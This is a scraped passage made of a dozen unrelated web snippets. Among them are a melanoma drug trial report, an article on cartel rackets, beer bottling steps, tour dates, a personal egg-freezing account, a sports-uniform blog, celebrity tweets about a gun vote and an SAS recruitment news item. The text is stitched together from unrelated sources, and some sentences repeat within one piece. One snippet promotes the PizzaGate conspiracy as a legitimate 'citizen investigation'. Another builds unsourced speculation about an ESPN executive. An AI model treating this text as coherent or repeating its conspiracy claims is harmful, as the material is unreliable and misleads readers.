or GNA11, genes that activate signals in the mitogen-activated protein kinase (MAPK) pathway. Dr. Schwartz and others subsequently demonstrated that inhibition of MEK, a key enzyme in the MAPK pathway, can inhibit the growth of uveal melanoma cells in the laboratory. Dr. Schwartz’s laboratory was the first to show this with selumetinib. In 2013, Dr. Schwartz and his colleagues launched the first large-scale, Phase II, randomized trial of selumetinib. One hundred and one patients with metastatic uveal melanoma at 15 centers in the United States and Canada were randomized to receive either selumetinib or standard chemotherapy. Those in the chemotherapy group could receive selumetinib at any time if they showed signs of disease progression. Median progression-free survival among patients receiving selumetinib was more than double that of patients receiving chemotherapy (15.9 weeks vs. 7 weeks). Forty-nine percent of patients treated with selumetinib exhibited tumor regression, compared with none in the chemotherapy group. Median overall survival for patients on selumetinib was 11.8 months, compared with 9.1 months for those on chemotherapy, but the difference was not statistically significant. “We suspect that there may have been improvement in survival in the selumetinib group, but it was unclear, because patients who didn’t respond to chemotherapy were allowed to cross over to selumetinib,” said Dr. Schwartz. “That’s something we hope to clarify in a follow-up study that is now under way.” The vast majority of patients taking selumetinib experienced side effects, including rash, swelling, and visual changes. Most of the side effects were considered manageable, although 37 percent of patients required at least one dose reduction and 6 percent discontinued therapy. Dr. Schwartz thinks that treatment of uveal melanoma will ultimately involve rational drug design and a combination of drugs, similar to the approach used to combat HIV infection. “In preclinical studies, we’ve shown that when a MEK inhibitor was combined with an Akt inhibitor, which affects another cancer-related pathway, the results were better than when using MEK alone,” he said. “Overall,” Dr. Schwartz added, “the study underscores the importance of rational drug design, in which drugs are designed to interact with specific molecular pathways involved in a particular disease. This is a huge improvement over chemotherapy, which is basically a blanket approach to cancer that does not directly address the underlying biology.” About: -Indeed, in recent years cartels have used an extensive portfolio of rackets and scams to diversify their income. For example, they used to kidnap rivals, informants and incompetent subordinates to punish, exact revenge or send a message. Now that they have seen that people are willing to pay heavy ransoms, kidnapping has become their second-most-lucrative venture, with the targets ranging from businessmen to migrants. Another new source of cartel revenue is oil theft, long a problem for the Mexican government. The national oil company, Pemex, loses hundreds of millions of dollars’ worth of petroleum every year to bandits and criminal gangs who tap into pipelines and siphon it off. Now the cartels are getting involved in this business, working with associates north of the border to sell the oil to American companies at huge markups. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. In 2009 a federal court convicted an American businessman of helping to funnel $2 million in petroleum products stolen from Pemex by a Mexican cartel, eventually selling it to a Texas chemical plant owned by the German chemical company BASF. The chemical company claims never to have known where the products came from. Cartels are also moving into the market in pirated goods in Latin America. The market used to be dominated by terrorist groups like Hezbollah and Hamas, who operated in the triborder area of Argentina, Brazil and Paraguay. Now the field is being overtaken by Mexican cartels, which already have so much control over the sale of pirated CDs, DVDs and software that many legitimate companies no longer even bother to distribute their full-price products in parts of Mexico. Taking another page from traditional organized crime, cartels are also moving into extortion. A cartel representative will approach the owner of a business — whether a pharmacy or a taco stand — demanding a monthly stipend for “protection.” If those payments aren’t made on time, the business is often burned to the ground, or the owner is threatened, kidnapped or killed. A popular cartel racket involves branded products. For example, a cartel member — most often from Los Zetas and La Familia Michoacana, two of the largest and most diversified cartels — will tell a music-store owner that he has to sell CDs with the Zetas logo stamped on them, with the cartel taking a 25 percent cut of the profits. Noncompliance isn’t an option. With so many lines of business, it’s unlikely that Mexican cartels would close up shop in the event of legalization, even if it meant a serious drop in profits from their most successful product. Cartels are economic entities, and like any legitimate company the best are able to adapt in the face of a changing market. This is not to say that drug legalization shouldn’t be considered for other reasons. We need to stop viewing casual users as criminals, and we need to treat addicts as people with health and emotional problems. Doing so would free up a significant amount of jail space, court time and law enforcement resources. What it won’t do, though, is stop the violence in Mexico. -Bottle Set the carboy on a sturdy table and the 12 two-liter bottles on the floor, with newspaper underneath to catch drips or overflows. Using a funnel, put two level teaspoons of sugar in each bottle. Siphon the beer into the bottles, trying not to disturb the sediment on the bottom of the carboy. (One method is to tape a plastic straw alongside the bottom end of the siphon hose with 1″ projecting beyond the end. The tip of the straw can touch the bottom of the carboy without the siphon drawing up sediment.) Tip the carboy as you near the bottom. It is important to not splash or agitate the beer too much when bottling as any oxygen introduced can lead to oxidation and a “cardboard” taste. As you fill the bottles, keep the end of the siphon tube near the bottom of the bottle to avoid frothing. It is essential that the bottles are not completely filled: leave an airspace. Screw the caps on tightly. Invert each bottle and shake to dissolve sugar on the bottom. Set bottles in a warm area for the first few days, then store in a dark, cool spot. You can drink the beer within a few days of bottling, but it will improve with age. -Thank you Europe for an incredible run. We’re excited to return to the U.S. for some headline shows. Deathbat Nation fan club pre-sale starts 3/14 and public on-sale starts 3/17. An announcement is coming soon for Milan. June 19 – Mt. Pleasant, MI – Soaring Eagle Casino Resort** (General on-sale coming soon) July 10 – Cincinnati, OH – Riverbend Music Center*** July 18 – Gilford, NH – Bank of New Hampshire Pavilion*** July 28 – Mountain View, CA – Shoreline Amphitheatre+++ July 31 – Sacramento, CA – Golden 1 Center+++ August 3 – Albuquerque, NM – Isleta Amphitheater+++ August 11 – Salt Lake City, UT – USANA Amphitheatre+++ August 12 – Nampa (Boise), ID – Ford Idaho Center Amphitheater+++ *** Volbeat opening +++ A Day To Remember opening -I absolutely cannot be the only one who started pining for more footy from the second the Western Bulldogs hoisted the 2016 Premiership Cup last year. The dreaded footy-barren blast furnace, aka “summer,” has its claws deeply entrenched in Australia for the time being. But this year, unlike other years, we are in for an early reprieve. Though the AFL pre-season efforts don’t start until February 16th, footy is delving even further into summer with the launch of the historic inaugural AFLW season on February 3rd. The first-ever national women’s league is set to run through the summer months, culminating in a Grand Final that’ll coincide with Round 1 of the AFL fixture, meaning from the start of February there’s non-stop footy right through the year until October, and nothing about that could ever be a bad thing. Unfortunately for fans, however, a combination of factors are conspiring to make attending the first-ever AFLW game something of a roll of the dice. The kickoff match, between Carlton and Collingwood, is set to go down on Friday night, February 3rd, at the Olympic Park precinct in Melbourne’s stadium district. The decision to play all AFLW games at small suburban grounds is one of timing and strategy by the AFL; most major grounds are dual-purpose and are set aside for cricket at that time of year, but returning the game to its suburban roots gives the new teams a chance to develop stronger geographical bond with their home turf. That’s all well and good, but the Olympic Park ground at Collingwood’s Holden Centre training base only has a reported safe capacity of 5,000 people. That number isn’t official, either, and the AFL has sent in contractors to assess the ground’s true capacity, given it isn’t ordinarily set up to be a spectator venue. It’s expected that Collingwood and league officials will erect a temporary fence around the ground for the game, meaning there’s a very real chance fans could be locked out of catching a slice of history. What’s more, owing to the fact that all tickets for the AFLW’s first season will be free-of-charge, there will be no pre-booking admission, meaning punters are simply going to have to chance the arm on the day in the hopes of getting in to the ground. Around 6,500 fans showed up to the Whitten Oval in Footscray late last season for an exhibition game between Melbourne and the Western Bulldogs. But for a game that’s not only for premiership points, but is the first-ever game in the first-ever season, you’d expect interest in it to be quite high. Throw in the fact that it’s between two traditional powerhouse rivals in Carlton and Collingwood, and on a Friday night in the middle of summer, AND tickets are free… Honestly, how the AFL looks at all that and doesn’t expect 20,000 to turn up is somewhat baffling. If you’re keen to attend the Blues/Pies clash on Feb 3rd, you might wanna head down to Olympic Park and start lining up now. If all else fails, Channel 7 and Fox Footy will be broadcasting the game live and in prime-time. Shit. Yes. Footy. Source: Herald Sun. Photo: Michael Wilson, AFL Media/Getty. -Four days after charging $14,000 on my credit card for egg freezing surgery, I was jolted awake at 6 AM with an agonizing throb in my right ovary. At 28 and in pretty stellar physical health, I knew dry heaving in pain wasn't normal. It felt like someone had rammed a rusty hunting blade in my right side and was slowly twisting it deeper—within minutes, I had blacked out. I came to feeling paralyzed and knew I was in trouble when I didn't have the strength to grab the Percocet bottle a mere two feet away. Why the hell did I do this to myself? I thought, laying drenched in a cold sweat on the floor, replaying all the reasons why I happily chose to freeze my eggs just a few days prior, at the ripe age of 28. It started innocuously enough. On the cusp of my 28th birthday, I had a frank conversation with my gynecologist where I explained my situation. A rising media career and newfound happiness with my singledom, coupled with an insatiable desire to travel, meant that I didn't envision getting married anytime soon, and couldn't imagine having kids before 35. She was eager to help and suggested I go to NYU, known for pioneering the technology since 2004. A month later, I walked into my consultation hoping egg freezing would buy me more time, but I walked out with a new epiphany: egg freezing would use genetic testing on embryos to ensure only the healthiest, pre-screened egg would be implanted. The doctor told me about a 33-year-old woman who froze her eggs and, upon testing 13 embryos, found that 12 of the 13 had chromosomal abnormalities. They were able to isolate and implant the one fully healthy embryo. The argument for egg freezing seemed overwhelmingly convincing to me, and I booked my surgery a few weeks later. The doctors I spoke with were impressed by my pragmatism and told me I was ahead of the curve in choosing to do this now, at 28, when my eggs were the healthiest they would ever be. But not everyone was as supportive: An old coworker nearly spit up her salad as I casually mentioned I was freezing my eggs over lunch. "But you're so young, successful, and beautiful. You'll definitely get married! Why would you do this?" she cried, without quite realizing how insulting her tone was. Her response only re-affirmed why I was doing this: not for a man, or a ticking clock, but for me, and the ability to live out my dreams on my own schedule. Egg freezing is having its moment in the public eye. Celebrities like Sofia Vergara and Kim Kardashian have come out with their own tales of egg freezing, and despite some backlash, America is beginning to embrace the marriage between technology and fertility. Recently, Maria Menunos told Good Morning America that she'd frozen her eggs at age 33, describing the decision as "a bit of an insurance policy." While statistics are hard to come by—egg freezing is bucketed an experimental procedure by the ASRM (American Society for Reproductive Medicine), making standardization of collecting data near impossible—it seems Menunos is in good company: egg freezing is now a mainstream topic, so much so that companies like Facebook and Apple have made headlines for covering the cost of egg freezing for their employees. The long process of freezing my eggs was daunting, emotional, and took over my life for a month. A week after my initial consult, I found myself the youngest by a mile in a room full of women over 35, at a two hour '101 of Egg Freezing' class at NYU. I was used to the older women's stares—most assumed I faced major fertility issues or was sick with some life-threatening disease. I openly explained that I was just being pragmatic. The overwhelming response was, 'I wish I had done it at your age. This is too much to handle physically and emotionally now.' The nurse overseeing the class showed us how to inject the various hormones ( HCG, Estrogen,ect) in our thighs. Egg Freezing 101 barely covered risks in a slide show. I'm sure it was in the fine print somewhere. Less than .025% of women who freeze their eggs end up with ovarian torsions. (Lucky me, finally reaching the 1% at something.) On Day 1 of injections, I sat at the edge of my bed, teary and trembling, holding 50ccs of Menopur hormones. You never truly feel quite as single—and somehow empowered—as the day you have to stab yourself with a syringe full of hormones, knowing you're suddenly in charge of your whole future. It was powerful and it was terrifying. In an effort to stay positive I started a tradition: with every injection I set intentions for the qualities I hoped my kids would have, then blasted Florence and the Machines and danced like a 7 year old to distract myself from the burn and sting of the needle. I also started meditating twice a day. Those small traditions were what kept me sane. The schedule was grueling. I stabbed myself with various hormone injections every morning and night, and every 24 – 48 hours I had a 7 AM blood test and ultrasound at NYU. There's nothing like starting off your day in stirrups. I was advised not to date—I would have been a wreck under the hormones, and sex was strictly verboten—or have client outings. Drinking and smoking were off-limits for the duration as well. My estrogen count started at 61 and shot up to over 1,900 in just two weeks. By day 13, I was overwhelmed, crying in public and at work. My mother flew in to help. I've never felt more loved by her than when she, a former nurse, injected me with hormones and pulled me up by the hand, the two of us dancing wildly in my tiny living room. On the 16th day, I went in for surgery under general anesthetic. The actual surgery is fairly simple and takes less than 30 minutes: my eggs were removed with a large needle placed strategically through ultrasound guidance. I emerged from surgery an hour later, woozy but otherwise happy the 19 eggs were retrieved (10 – 15 is considered a success I was told). My stomach was noticeably swollen to the size of melon. When I insisted that my belly felt abnormally enlarged, the nurse simply gave me a one-sheeter on 'Ovarian Hyperstimulation Syndrome (OHSS)' and told me to call if I worsened. For the next three days, I waddled around. A waitress mistook me for pregnant, and on Monday, I showed up to work looking 6 months pregnant. I was so uncomfortable I went home early. I was planning to call NYU on Tuesday when, mid-slumber Monday night, the excruciating pains hit. I was rushed to the ER. Upon my arrival, I was diagnosed with ovarian torsions. With torsions, your ovary twists on itself, occluding blood supply. Ultimately, this can lead to the death of the ovary. Ovarian torsions account for less than 3% of gynecological emergencies. Less than .025% of women who freeze their eggs end up with this condition. (Lucky me, finally reaching the 1% at something.) Normally, a woman's ovaries are the size of walnuts. Due to the sudden blast of hormones, mine had ballooned to the size of grapefruits. Despite the morphine drip, the irony of the situation wasn't wasted on me and I had a good chuckle: I froze my eggs so that I could have babies, and in doing so I had almost lost an ovary forever. The nurses explained the needle would have to go in inter-vaginally. When I asked about morphine or drugs, they said they couldn't help. The ER doctor (who, as fate would have it, was my high school crush, whom I hadn't seen in 13 years) explained I was spared from surgery because my ovary had "untwisted" on its own. But he was concerned that my swollen belly was too big. I had over 2 liters of fluid built up from the original surgery and it kept getting worse. We decided to drain the fluid, but no one explained how this was going to happen. I was wheeled to the NYU Fertility Center a few hours later, surrounded by seven women in a room, and put on stirrups. Dread washed over me at the sight of a needle the length and width of a shish kebab and a long plastic draining tube attached to a giant liter plastic bottle. "You're going through my belly, right?" I asked innocuously, almost sure this was a mistake. The nurses explained the needle would have to go in inter-vaginally. When I asked about morphine or anesthetic drugs they said they couldn't help. A girl my age with shaky hands inserted the needle over and over again as I clutched a nurse's hand with all my might and screamed out in pain so loudly they gave me a gauze for my mouth. I felt it all. The needle would pierce its way through me, and then she'd swivel it in a circle. I'd scream as the needle hit my insides. The image of my own blood and mixed with fluid filling up a full liter bottle was oddly comforting, and after 20 minutes of excruciating attempts to remove more fluid, I wailed one last time in total agony after the last stab failed to procure more fluid out of me. The women left, and I doubled over in fetal position, crying and wanting my mom more then than ever before. I barely made it through the first night. My best friend Alexandra slept over and told me that every 15 minutes until morning I'd awake drenched in a cold sweat, screaming for Percocet. I had to switch to Oxycodone the next day to manage the pain. She stayed with me that whole week, as I was physically unable to even roll out of bed on my own, much less standing up. Walking to the bathroom 16 feet away was a team effort and took a solid 10 minutes. Mandatory bed rest ensued as I was at high risk to have a repeat ovarian torsion: My ovaries were still the size of grapefruits. I couldn't leave my apartment for two weeks and wasn't allowed to workout for a month following the ER trip. Last weekend—a month later—I finally went to yoga, had a glass of wine on a first date, and wore my favorite dress. On my date, I nonchalantly explained that I'd frozen my eggs and was pleased to receive a progressive, supportive reply. While I'm still not back to the old me, I have a newfound appreciation for my body as a vessel for life, not just something to starve into a bikini. I'm often asked if I had known the risks, would I have still gone through with freezing my eggs. My answer is a whole-hearted "Hell yes." What happened to me was terrifying, but incredibly rare. For me, the benefits of egg freezing still far outweigh the small risk. I can live out my dreams, on my timeline – and that's priceless for me. After the ER I decided to share my story on social media so that another 28-year-old woman won't have to think she's crazy for planning her future before age 35. Dozens of young women have reached out to me for advice since, and I've finally been able to do the one thing no one could do for me: give an honest perspective about what freezing your eggs at 28 means, and what sometimes goes wrong. Follow Vicki Rox on Twitter. -Loading ... Loading ... “Our liberty depends on the freedom of the press, and that cannot be limited without being lost.” ~Thomas Jefferson In this fantastic mini-documentary by Truthstream Media, Melissa Dykes dissects the “fake news” propaganda being force-fed to any America still believing in the last grasping tendrils of what was once mainstream media. In her typical concise yet satirically witty fashion, Dykes very clearly breaks down the absurdity of this entire joint operation underway by the government and its loyal forth branch: mainstream media. It is encouraging that a vast majority of Americans were awakened by the parody that was the 2016 (s)election process, and many more are now beginning to see past the propaganda due to this quickly spreading citizen investigation poorly named: PizzaGate. Yet, there remains a strong loyalist faction of Americans who are simply terrified of the prospect of these investigations being true, as that would call into question a lifetime of choices under this false paradigm. Which is why it is now of the utmost importance that videos such as these find their way into the hands of those reeling from this divide, yet still holding firmly onto the comforting lies of the State. Source: www.truthstreammedia.com Help Us Be The Change We Wish To See In The World. -Mets CF Juan Lagares Wears His Own Face on His Arm Your browser does not support iframes. Mets centerfielder Juan Lagares hit what turned out to be the game-winning three-run homer in the sixth inning of yesterday’s game against the Braves. As you can see in the video above (if it’s not embedding properly for you, look here), after Lagares crossed home plate he was greeted by teammate Curtis Granderson, who’d been on base, and Granderson made a big show of pointing to the orange wristband on Lagares’s left arm. He did it again when they were back in the dugout. As it turns out, that’s because Lagares has started wearing one of those “Say No to Drugs”-style bands featuring his own likness. Here are some close-ups (click to enlarge): It doesn’t really look much like Lagares, but that’s part of the charm of these things, right? According to this NJ.com item, “[The wristbands] work for him. He began wearing them recently and has gone on a hot streak since. His teammates say it’s the cause of his success. His performance Sunday — 3-for-5 with a go-ahead three-run home run — certainly won’t make him stop.” (Big thanks to Eli Ganias and @SheaDugout for bringing this one to my attention, and to Mike Peters and Mark Carig for the close-up photos.) • • • • • One last time ”” calling all “Collect ’em all”-ers: In case you missed it last week, I’m taking a show of hands to see how many of you have purchased all seven of the UnI Watch T-Shirt Club’s designs so far. Knowing how many people are eligible for the year-end prize will help me determine what the prize will be. So if you’ve collected ’em all so far (and didn’t already check in last week), please use this link to shoot me a note. Thanks. • • • • • Membership update: I put a batch of membership cards in the mail on Saturday (including Mike O’Connor’s early-2000s Blue Jays treatment, shown at right), so recent enrollees should watch their mailboxes. This makes us fully caught up on membership orders. As always, you can order your own custom-designed membership card here, you can see all the cards we’ve designed so far here, and you can see how we make the cards here. • • • • • Father’s Day reminder: In case you missed it yesterday, Phil has put out the call for pictures of your dads and/or granddads in uniform (any uniform, whether it be sports, military, delivery, etc.), which he’ll as a Father’s Day feature this Sunday. Further details here. Email your photos, along with short descriptions (50 to 100 words) to Phil.Hecken@gmail.com by this Thursday, midnight Eastern. In a related item, reader Kelly Levy is searching for photos of her dad, Harold Levy (although he sometimes went by Edward, his middle name), who was an all-city basketball player in NYC around 1956-58 and also briefly played for St. John’s and for a Rheingold brewery team. Harold passed away earlier this month and Kelly can’t find any photos of him in uniform. If anyone can help, contact Kelly here. • • • • • Boston Beefsteak reminder: For you carnivorous folks in Beantown, the Brooklyn Beefsteak is coming to Boston this Saturday, June 20, with two seatings — 1pm and 5pm — at the Cambridge Masonic Hall in Porter Square. Further info and tickets are available here. • • • • • Baseball News : I think we’ve seen this before, but once more won’t hurt: Check out this video footage from a 1977 Royals/Brewers game in Milwaukee in which the Royals had to wear Brewers road uniforms because their own unis had been stolen (from Kevin Clark). ”¦ I like the double-striped turtleneck collar in this old shot of Eddie Murray (from Tyler Kepner). ”¦ Yonder Alonso of the Padres was moved from first base to third base the other day and wore one of his brother-in-law Manny Machado’s gloves (from Andrew Cosentino). ”¦ The Red Sox put their helmet numbers on the side without the earflap. ”¦ The San Diego GOP gave presidential candidate Rand Paul a FNOB Padres jersey (from Stephen Scheffel). ”¦ An American pitcher playing in Korea has been fined for wearing a wrong-colored undershirt (from @MyKBO). Pro and High School Football News : Not sure I’ve ever heard of an athlete saying he doesn’t want his number to be retired, but that’s the case in Dallas, where former Cowboys star Michael Irvin wants his No. 88 to stay in circulation (thanks, Phil). ”¦ The Packers played a charity softball game with pinstriped jerseys yesterday. Lots of photos here (from Nick Haering). … Here’s a ranking of the high school football uniforms in the Mineral Wells, Texas region. Hockey News : Never seen this early Lightning wordmark before. Reminds me a bit of the old Zenith logo. ”¦ Whoa, check out the Caps player in the background of this photo — looks like he’s wearing a lacrosse helmet/mask! Anyone know who that was? (Good find by Steven Schapansky.) ”¦ Chris Creamer has created a sensational infographic showing the jersey worn by each Stanley Cup-winning team. Several great little nuances in the design, but I’ll let you discover those for yourself. Chris says he wants to make this into a poster, and he should definitely do that. NBA News : Reader Jeff Sorensen was at a Salt Lake Bees minor league baseball game the other day and spotted someone wearing a 1990s-style Jazz jersey with the famous Hot Rod Hundley saying, “Gotta love it baby!,” as the NOB. -Nearly two weeks ago, ESPN President John Skipper shocked the media world by suddenly resigning from his position at the “Worldwide Leader.” At the time, Skipper said he needed to resign to deal with substance abuse issues. In a statement, Skipper said: I have struggled for many years with a substance addiction. I have decided that the most important thing I can do right now is to take care of my problem. I have disclosed that decision to the company, and we mutually agreed that it was appropriate that I resign. I will always appreciate the human understanding and warmth that Bob (Iger) displayed here and always. I come to this public disclosure with embarrassment, trepidation and a feeling of having let others I care about down. As I deal with this issue and what it means to me and my family, I ask for appropriate privacy and a little understanding. To my colleagues at ESPN, it has been a privilege. I take great pride in your accomplishments and have complete confidence in your collective ability to continue ESPN’s success. This explanation seemed rather suspicious. Since Skipper had just signed a major contract extension the month before his resignation. At the time, Breitbart Sports noted: The timing of Skipper’s resignation seems a bit of a mystery. Skipper had just signed a multi-year contract extension in November. How does one develop a long-term substance problem in a month? Perhaps ESPN just became aware of Skipper’s issue in the last month, though, that too would seem unlikely. Moreover, it’s likely that ESPN would at least attempt to offer some kind of counseling as opposed to compelling Skipper to resign, if they just found out about Skipper’s issue after signing him to a brand new deal. Could there be something another, bigger story behind this announcement? Well, Clay Travis of Fox Sports Radio and Outkick the Coverage reports that there is something bigger indeed, behind Skipper’s resignation. Travis reports that in the days following Skipper’s announcement, several reports came to him offering a much different explanation for Skipper’s immediate departure. “In the next couple of days I was told by multiple sources I trust inside ESPN that the reason for Skipper’s “resignation” was because of sexual harassment issues inside the company. In the wake of the Boston Globe story about sexual harassment I was told Skipper’s own issues suddenly emerged and that was why the resignation happened so abruptly. And ESPN decided to blame substance abuse issues instead.” Travis also poked a hole in Skipper/ESPN’s “substance abuse” claim by tweeting photos from a tipster, which appear to show Skipper and ESPN radio host Dan LeBatard at a bar in North Carolina: As Travis writes: A trip out to have a couple of drinks with your friend would all be perfectly normal and a total non-story except for the fact that Skipper just resigned from ESPN 11 days ago citing his struggles with substance addiction and his desire to get help for that addiction. Now maybe Skipper wasn’t addicted to alcohol — and it was some other drug instead — but if you have such an issue with substance addiction that you need to immediately resign from ESPN should you really be out drinking 11 days later with one of the most prominent employees at your former company? And if you’re Skipper’s good friend, Dan LeBatard, would you let your friend go out drinking with you if you knew he had a true issue with substance abuse and you were crying about it on your radio show 11 days ago? That seems highly unlikely. That does indeed seem unlikely. ESPN wouldn’t be unique among major media and entertainment organizations, for forcing out high-profile executives or performers over sexual harassment charges. After all, the last few months have seen dozens of actors, journalists, comedians, politicians, and others, face removal for some form of sexual misconduct. So why lie about it? If in fact, ESPN is lying about the reasons for Skipper’s resignation? The answer may be found higher up the food chain. Disney CEO Bob Iger is a rumored 2020 Democrat presidential candidate. Considering how crucial the female vote is, especially in a Democratic primary, one would think that Iger would move aggressively to quash any potentially damaging sexual harassment scandal at one of his larger networks. Would Iger engage in that type of politically-calculated micromanagement? Well, he’s done it before. In the weeks after Jemele Hill called President Trump a “white supremacist” on Twitter, Iger personally intervened to prevent Hill’s suspension. Now, why would Iger do that? Could it be because of Iger’s concern that the optics of suspending Hill, who is black, for criticizing President Trump; could be interpreted as Iger siding with Trump against a black female employee? Which would leave his Democrat primary opponents with a strong and heavy argument that he’s not the right candidate to protect black people from the “cruel and racist” Republicans? That seems like an extremely plausible theory. And if that seems like a plausible theory, is it so far-fetched that Iger would concoct a story about substance abuse to conceal a high-profile sexual harassment scandal, which may or may not extend far beyond John Skipper? Doesn’t seem like that big of a stretch at all, does it? -We know we’re not famous actors who earn a living playing make-believe, but would it be OK if just for today we pretended all of this righteous outrage was inspired by the Kermit Gosnell trial? Senate rejects gun background checks. Mentally ill people rejoice. — Albert Brooks (@AlbertBrooks) April 17, 2013 NRA to now devote attention to first amendment. Trying to make it okay to yell fire in a crowded theater. — Albert Brooks (@AlbertBrooks) April 17, 2013 If, like 90% of Americans, u support expanded background checks for guns, & your senator voted against them, then vote against your senator. — Steve Levitan (@SteveLevitan) April 17, 2013 Our Congress is officially owned but not by us. 90% of us wanted gun reforms. We got shot. That's NRA. And that is representative govt. now. — jason alexander (@IJasonAlexander) April 17, 2013 https://twitter.com/Elizbethperkins/status/324641802034479104 My mom used to say "why did you only get a 90% on your math test, Jason, why not 100?!" so I totally get it you guys. — Jason Biggs (@JasonBiggs) April 17, 2013 Many in the Senate and the Congress care more about their jobs on a watered-down bill over potential mass murders and suicides with guns. — Richard Lewis (@TheRichardLewis) April 17, 2013 https://twitter.com/chrissyteigen/status/324639997619748865 90%, you defensive, party protective morons. NRfuckingAandGOfuckingP — christine teigen (@chrissyteigen) April 17, 2013 Today, the US SENATE VOTED AGAINST 91% OF THE COUNTRY THAT WANTS BACKGROUND CHECKS. WE ARE TAKING NAMES, MOTHERFUCKERS!! — Bette Midler (@BetteMidler) April 18, 2013 DEMOCRATS – Mark Pryor -Arkansas, Max Baucus -Montana, and Mark Begich –Alaska and Heidi Heitkamp -North Dakota ( MOTHER OF 2) voted NO — Rosie (@Rosie) April 18, 2013 A MUST READ op-Ed from Gabby Giffords in the wake of the Senate vote. She's a voice that must be heard. http://t.co/79nOIHpXxY — Debra Messing (@DebraMessing) April 18, 2013 Fuck it. I guess the NRA is right. — Michael Ian Black (@michaelianblack) April 18, 2013 From now on I'm just going to agree with whoever wins. #NRA #frommycolddeadhands — Michael Ian Black (@michaelianblack) April 18, 2013 90% of Americans favor expanded background checks for gun buyers. Our senate failed. Our system is colossally broken. — RainnWilson (@rainnwilson) April 18, 2013 If 90% of senators wanted a double non fat vanilla cappuccino & we decided they should have a black coffee instead, they would be pissed. — Jesse Tyler Ferguson (@jessetyler) April 18, 2013 sad day that we didn't pass background checks in U.S. Every responsible gun owner i know (and i know a lot) supported it. — Rob Thomas (@ThisIsRobThomas) April 17, 2013 Here are the Twitter handles of the senators who voted against background checks http://t.co/sAGVheZ8do /via @HuffingtonPost — Alyssa Milano (@Alyssa_Milano) April 17, 2013 The Senate voted against background checks, ignoring the will of the American people. We will not stop until our voices are heard. #myvoice — Tony Bennett (@itstonybennett) April 17, 2013 background checks for gun control defeated by senate? REALLY? Argh!!! — Kristin Chenoweth (@KChenoweth) April 17, 2013 @IJasonAlexander agreed Jason. What would it have HURT!? Only helped! #dontgetit — Kristin Chenoweth (@KChenoweth) April 17, 2013 After innocent people were victims of yet another type of random violence, these Senators weren't the least bit swayed & they're Christians. — Terry McMillan (@MsTerryMcMillan) April 18, 2013 What's wrong with background checks? No one is trying to take away their stupid guns. I swear. — Terry McMillan (@MsTerryMcMillan) April 18, 2013 i would like to smack Rand Paul dead in his mouth. — Terry McMillan (@MsTerryMcMillan) April 18, 2013 Senate couldn't pass background check amendment for gun sales. So, maybe after the next gun massacre? — Kristen Schaal (@kristenschaaled) April 17, 2013 New low, congress. Unbelievable. I wish I could fire every senator who voted no. — Kristen Schaal (@kristenschaaled) April 17, 2013 And for all the gun enthusiasts, you know you didn't win anything today either. — Kristen Schaal (@kristenschaaled) April 17, 2013 Breaking News: Senate votes to change name of country to USNRA. — Elliott Kalan (@ElliottKalan) April 17, 2013 You'll have to pry my misfired gun from my cold dead half-hand — Sarah Silverman (@SarahKSilverman) April 17, 2013 https://twitter.com/NancyLeeGrahn/status/324646278971678720 https://twitter.com/NancyLeeGrahn/status/324647881938198530 Senate blocks background checks for guns today. Shame on them. Disgusting. — Adam McKay (@GhostPanther) April 17, 2013 I am so disappointed n those senators that Blocked the "Gun Control Background✔s"Every single1of those senators should NOT be voted back in — Tawny Kitaen (@Tawny_Kitaen) April 17, 2013 The"R"s have lost my vote until this congress gets their act2gether I dont care ie Taxs Roe V Wade ANYTHING until R children R safe Im PISST — Tawny Kitaen (@Tawny_Kitaen) April 17, 2013 Related: Meltdown: Model Chrissy Teigen curses ‘f*cking GOP’ over Senate gun vote Wil Wheaton: ‘F*ck the NRA’; Throws hissy fit after Manchin-Toomey gun control legislation failure ‘Hear this, gun nuts’: Michael Moore, Bette Midler not done with gun grab effort, taking names -If your New Year's Resolutions include going to the gym and losing weight, you are a selfish, entitled, hateful piece of garbage. Why bother trying to "get healthy" and "improve yourself" when you can just be angry and bitter about your body on the Internet?? This is Thin Privilege is a Tumblr blog that asks people to submit examples of the preferential treatment thin people take for granted, and the tyranny they wield over fat people ("fat" is their word of choice, as "overweight" and "obese" are deemed problematic slurs). Any talk of weight loss is affixed with a trigger warning, because it could be considered offensive or traumatic. And don't even think about mentioning R*ch*rd S*mm*ns. The site's aggressive moderators, one of whom is named "Fatanarchy," actively encourage people not to trust their doctors, because who are those eggheads to tell us what is and isn't "healthy"??? In my opinion the modern conception of 'health' is bullshit. It's an ever-changing, largely arbitrary definition that seems to serve a single purpose: to blame modern ills on so-called 'unhealthy' people then define so-called 'unhealthy' people as unpopular social 'deviants' like fat people, poor people, and the disabled. The philosophy of vaunting the modern notion of 'health' to some kind of societal/moral imperative is called healthism. Alas, the scourge of "healthism" is but a small part of the discrimination fat people must grapple with every day. This is Thin Privilege will open your eyes to the prejudice of physics, the bigotry of dogs, and the shame of being personally insulted by the online equivalent of a fortune cookie. These negative nelllies blame fatness for every evil that has ever besieged them, no matter how petty. Conversely, being thin is assumed to be a magical state of being that gets you into all the cool clubs, makes boys like you and gets you straight A's on all your homework. Wow, sounds like a good deal! So, what is thin privilege? Thin privilege is not, when finding out that one of your friends recently had her drink spiked at a nightclub, being told that it's something you'll never have to worry about, because "who'd want to spike a fat, ugly bitch's drink?" After all, fat girls aren't at risk of sexual assault. Yup, somehow the fat person is the victim here, not the friend who's been roofied. Fat people just want to feel included, is all. – Adam "rubber cat" Jameson (@robbercat) -Image copyright MOD Image caption Cpl James Dunsby and two others died after overheating on an SAS recruitment march in 2013 Recruitment tests to join the SAS will be "softened" in response to the deaths of three reservists during a selection march, the Times has claimed. The newspaper says test marches in the Brecon Beacons could be postponed in the case of extreme temperatures, humidity and winds. The decision has angered SAS insiders and their US counterparts who fear it may lower standards, the paper claimed. The Ministry of Defence has not commented on the story. At an inquest last month, the Ministry of Defence was severely criticised for the planning and conduct of a 16-mile march which resulted in the deaths of three soldiers. L/Cpl Craig Roberts, L/Cpl Edward Maher and Cpl James Dunsby all collapsed and died after overheating on a Brecon Beacons exercise on one of the hottest days of 2013. Changes 'under way' The MoD apologised and said changes to the SAS recruitment test were under way. Image caption The SAS selection test includes a 16-mile march in the Brecon Beacons mountain range in Wales Changes will include more water stations along the route and a "weather test" which would allow the hike to be postponed if conditions are too hot, the Times reported. It also said would-be SAS members would be allowed 